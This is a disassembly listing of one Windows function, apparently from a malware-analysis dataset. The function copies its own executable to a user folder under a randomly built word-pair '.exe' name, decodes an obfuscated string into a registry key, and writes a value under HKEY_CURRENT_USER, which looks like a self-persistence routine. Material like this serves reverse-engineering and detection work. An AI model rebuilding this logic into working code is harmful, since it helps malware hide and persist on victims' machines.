Function at 0x140001880
Capabilities:
Get common file path
Move file
Set registry value

Disassembly:
push rsi
sub rsp, 0x2d0
mov rax, qword [0x140054140]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
mov ecx, 0x200
call fcn.140024a88
mov rsi, rax
test rax, rax
je 0x1400018d0
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 5]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x1400018da
mov rcx, rsi
call fcn.14002491c
mov eax, 1
jmp 0x140001a94
mov qword [rsp + 0x2e0], rbx
lea rdx, [rsp + 0x1a0]
mov qword [rsp + 0x2e8], rbp
mov r8d, 0x104
mov qword [rsp + 0x2f0], rdi
xor ecx, ecx
mov qword [rsp + 0x2c8], r14
mov qword [rsp + 0x2c0], r15
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, str.Worried
xor ecx, ecx
mov qword [rsp + 0x30], rax
lea rax, str.Dolphin
mov qword [rsp + 0x38], rax
lea rax, str.Masked
mov qword [rsp + 0x40], rax
lea rax, str.Hole
mov qword [rsp + 0x48], rax
lea rax, str.Whole
mov qword [rsp + 0x50], rax
lea rax, str.Fighting
mov qword [rsp + 0x58], rax
lea rax, str.Base
mov qword [rsp + 0x60], rax
lea rax, str.Funniest
mov qword [rsp + 0x68], rax
lea rax, str.Host
mov qword [rsp + 0x70], rax
lea rax, str.Dependence
mov qword [rsp + 0x78], rax
call fcn.1400248a8
mov rcx, rax
call fcn.140021000
call fcn.140020fd4
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub r8d, ecx
movsxd rcx, r8d
mov r14, qword [rsp + rcx*8 + 0x30]
call fcn.140020fd4
mov r8d, eax
mov rbx, 0xffffffffffffffff
mov eax, 0x66666667
imul r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub r8d, ecx
mov rcx, rbx
movsxd rax, r8d
mov rdi, qword [rsp + rax*8 + 0x30]
nop dword [rax]
cmp byte [rdi + rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140001a00
mov rax, rbx
nop
cmp byte [r14 + rax + 1], 0
lea rax, [rax + 1]
jne 0x140001a10
lea r15, [rcx + rax]
lea rcx, [r15 + 5]
call fcn.140024a88
mov rbp, rax
test rax, rax
je 0x140001a5f
mov r9, rdi
lea rdx, [0x1400510ec]
mov r8, r14
mov rcx, rax
call fcn.1400010c0
lea rcx, [r15 + 5]
call fcn.140024a88
mov rdi, rax
test rax, rax
jne 0x140001aad
mov rcx, rbp
call fcn.14002491c
mov rcx, rsi
call fcn.14002491c
mov eax, 1
mov r14, qword [rsp + 0x2c8]
mov rdi, qword [rsp + 0x2f0]
mov rbp, qword [rsp + 0x2e8]
mov rbx, qword [rsp + 0x2e0]
mov r15, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.14001c5b0
add rsp, 0x2d0
pop rsi
ret
mov r8, rbp
lea rdx, str._s.exe
mov rcx, rdi
call fcn.1400010c0
mov rcx, rbp
call fcn.14002491c
mov r9, rsi
mov qword [rsp + 0x20], rdi
lea r8, str._s_s
mov edx, 0x104
lea rcx, [rsp + 0x90]
call fcn.140001120
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov rcx, rsi
test eax, eax
jne 0x140001b12
call fcn.14002491c
mov rcx, rdi
jmp 0x140001a62
call fcn.14002491c
lea rcx, str.2C10190B081E0D1A232332161C0D100C10190B23232816111B10080C23233C0A0D0D1A110B291A0D0C16101123232D0A11
call fcn.140001260
lea rcx, [rsp + 0x80]
mov r9d, 2
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov rdx, rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001b0a
lea rax, [rsp + 0x90]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001b55
mov rcx, qword [rsp + 0x80]
lea rax, [rsp + 0x90]
inc ebx
mov r9d, 1
mov dword [rsp + 0x28], ebx
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, rdi
test eax, eax
je 0x140001baa
call fcn.14002491c
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001a67
call fcn.14002491c
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x140001a6c